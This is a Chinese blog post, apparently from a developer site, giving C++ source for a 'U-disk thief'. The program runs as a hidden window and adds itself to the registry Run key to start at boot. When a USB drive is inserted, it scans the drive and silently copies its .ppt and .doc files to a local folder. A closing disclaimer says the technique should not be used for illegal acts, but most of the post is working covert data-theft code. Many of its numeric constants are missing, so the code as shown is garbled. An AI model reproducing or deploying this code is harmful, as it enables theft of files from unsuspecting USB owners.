前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。

虽然没有采取实际行动,但是相关的功能还是实现,技术共享。

重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。

1.对u盘插入行为监控,并获得盘符

  当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。

  为了获得消息,我们需要一个窗口

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass; wndclass.style = ;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = ;
wndclass.cbWndExtra = ;
wndclass.hInstance = hInstance;
wndclass.hIcon = ;
wndclass.hCursor = ;
wndclass.hbrBackground = ;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName; SetAutoRun(TRUE);
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return ;
}
hwnd = CreateWindow(szAppName, NULL,
WS_DISABLED,
, ,
, ,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, , ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

  窗口回调函数:

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_CREATE: //处理一些要下面要用到的全局变量
U[] = ':'; SetTimer(hwnd, TIMER, , );//启动计时器 return ;
case WM_TIMER: //timer message SendMessage(hwnd, WM_DEVICECHANGE, , );//检测有没有插入设备消息 return ;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd, wParam, lParam);
return ;
case WM_DESTROY:
KillTimer(hwnd, TIMER);
PostQuitMessage();
return ;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
  OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch (wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
//MessageBox(0, U, "Notice!", MB_OK);
string Utemp;
Utemp = U;
// Utemp += "\\";
Filesearch(Utemp, ); //搜索u盘
CopyPPT(FileList); //复制ppt
CopyDOC(FileList); //复制doc
//MessageBox(0, "Copy Success", "Notice!", MB_OK); }
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
//MessageBox(0, "u盘退出", "Notice!", MB_OK);
break;
}
return LRESULT();
}
  FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{
FileInfo FileInfomation;
struct _finddata_t filefind;
string Current = Path + "\\*.*"; // 修改此处改变搜索条件
int Done = , i, Handle;
string FullPath;
if ((Handle = _findfirst(Current.c_str(), &filefind)) != -)
{
while (!(Done = _findnext(Handle, &filefind)))
{
if (strcmp(filefind.name, "..") == )
continue;
for (i = ; i <Layer; i++)
printf("\t");
if ((_A_SUBDIR == filefind.attrib)) // 是目录
{
printf("[Dir]:\t%s\n", filefind.name);
Current = Path + "\\" + filefind.name;
Filesearch(Current, Layer + ); // 递归遍历子目录
}
else
{
printf("[File]:\t%s\n", filefind.name);
FullPath = Path + "\\" + filefind.name;
FileInfomation.Name = filefind.name;
FileInfomation.FullPath = FullPath;
FileList.push_back(FileInfomation);
FullPath.empty();
}
}
_findclose(Handle);
}
} void CopyPPT(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".ppt")) > )
{
TempPath = DesPath + "\\" + iterator->Name ;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
} }
} void CopyDOC(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".doc")) > )
{
TempPath = DesPath + "\\" + iterator->Name;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
}
}
}

3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{
HKEY hKey;
char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项
if (bAutoRun)
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项
{
TCHAR szModule[_MAX_PATH];
GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径
RegSetValueEx(hKey, "U盘检测", , REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)
RegCloseKey(hKey); //关闭注册表
}
else
{
// MessageBox("系统参数错误,不能随系统启动");
}
}
else
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
RegDeleteValue(hKey, "U盘检测");
RegCloseKey(hKey);
}
}
}

Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。

												

U盘小偷——C++实现U盘插入检测和文件扫描拷贝的更多相关文章

  1. 读"U盘小偷"有感

    作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#p ...

  2. 锻造完美U盘小偷:活用消息机制

    锻造完美U盘小偷:活用消息机制作者:灰狐来源:灰狐's Blog 注:本文已发表在<黑客防线>2008年第1期,转载请注明出处. 以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就 ...

  3. U盘启动盘的制作与U盘重装系统

    网上有各种各样的装系统的方法,也有各种不同的操作系统版本. 本文介绍如何有UtraISO将U盘制作成系统启动盘,本文用于制作的系统是纯净的32位win7旗舰版. 可到http://itellyou.c ...

  4. u盘装系统,u盘安装win7系统教程

    http://www.upanboot.com/tool/anzhuang_win7.html 可以用本教程给笔记本.台式机.上网本和组装电脑通过U盘安装Win7系统. 步骤一.首先要准备一个至少8G ...

  5. 虚拟机下怎么连接U盘,如何使用U盘?一策书(湘岳阳万江波)的随笔

    准备在虚拟机下,制作U盘启动盘.安装了U盘制作软件,插上U盘却无法识别到.打开虚拟机进行设置,添加USB设备,提示:已达到最大值.怎么回事呢? 原来还需要在宿主机上进行设置. 在宿主机上,运行:ser ...

  6. U盘启动盘的制作--用U盘硬装Windows系统、或是重装Windows系统

    借助IT天空的优启通U盘启动盘的制作--用U盘装Windows系统.或是重装Windows系统之U盘启动盘的制作 1.==================================== 2.== ...

  7. Linux下U盘的挂载和文件的拷贝

    把文件通过U盘拷贝到linux系统下插好U盘后,查看磁盘情况fdisk -l正常情况下有 Disk /dev/sda:2045 MB,2045247488 bytes47 heads,46 secto ...

  8. U盘开发之安全U盘

    普通型安全U盘,虚拟KEY和U盘两个设备,由主机软件分别对KEY和U盘进行操作,U盘与上位机采用usb mass storage接口,KEY采用HID接口,两者均无需驱动.也有虚拟成光盘和U盘两个设备 ...

  9. 48.Linux-普通U盘以及多分区U盘自动挂载

    在上章学习33.Linux-实现U盘自动挂载(详解)后,只是讲解了普通U盘挂载,并没有涉及到多分区U盘,接下来本章来继续学习 1.多分区U盘和普通U盘区别 1)U盘插上只会创建一个/dev/sda文件 ...

随机推荐

  1. Sharepoint2013商务智能学习笔记之Excel Service展示Sql Server数据Demo(五)

    第一步,打开Excel新建空白工作簿 第二步,使用Excel连接sql 数据库 第三步,画图 第四步 添加筛选器 最后效果如下: 第五步,将Excel上传到sharepoint任意文档库,并直接点击 ...

  2. 《Linux内核设计与实现》读书笔记(二)- 内核开发的准备

    在尝试内核开发之前,需要对内核有个整体的了解. 主要内容: 获取内核源码 内核源码的结构 编译内核的方法 内核开发的特点 1. 获取内核源码 内核是开源的,所有获取源码特别方便,参照以下的网址,可以通 ...

  3. bat实现监测计算机无线连接,断网自动重启无线

    @echo off :Begin ping www.baidu.com if errorlevel 1 goto Reboot if errorlevel 0 goto Continue :Conti ...

  4. Linux命令使用

    命令行创建设置用户密码 $ sudo useradd -m -r username $ cat "username:password" | sudo chpasswd -m 查询u ...

  5. SQL Server2012如何打开2016的profiler文件

    SQL Server 2012如何打开2016的profiler文件 作者:markjiang7m2 原文地址:https://www.cnblogs.com/markjiang7m2/p/10980 ...

  6. java解析xml实例——获取天气信息

    获取xml并解析其中的数据: package getweather.xml; import java.io.IOException; import java.util.HashMap; import ...

  7. java学习笔记——基于Robot类的屏幕分享

    直接上代码,具体看注释: package robot; import java.awt.AWTException; import java.awt.Dimension; import java.awt ...

  8. Openjudge jubeeeeeat

    jubeeeeeat 题目链接 总时间限制:  1000ms 内存限制:  256000kB 描述 众所周知,LZF很喜欢打一个叫Jubeat的游戏.这是个音乐游戏,游戏界面是4×4的方阵,会根据音乐 ...

  9. Bigdecimal 比较equals与compareTo

    原文链接:https://blog.csdn.net/jixinhuluwa/article/details/72626598 1.b.equals(BigDecimal.ZERO); 该方法存在的问 ...

  10. springboot2.0+Neo4j+d3.js构建知识图谱

    Welcome to the Neo4j wiki! 初衷这是一个知识图谱构建工具,最开始是对产品和领导为了做ppt临时要求配合做图谱展示的不厌其烦,做着做着就抽出一个目前看着还算通用的小工具 技术栈 ...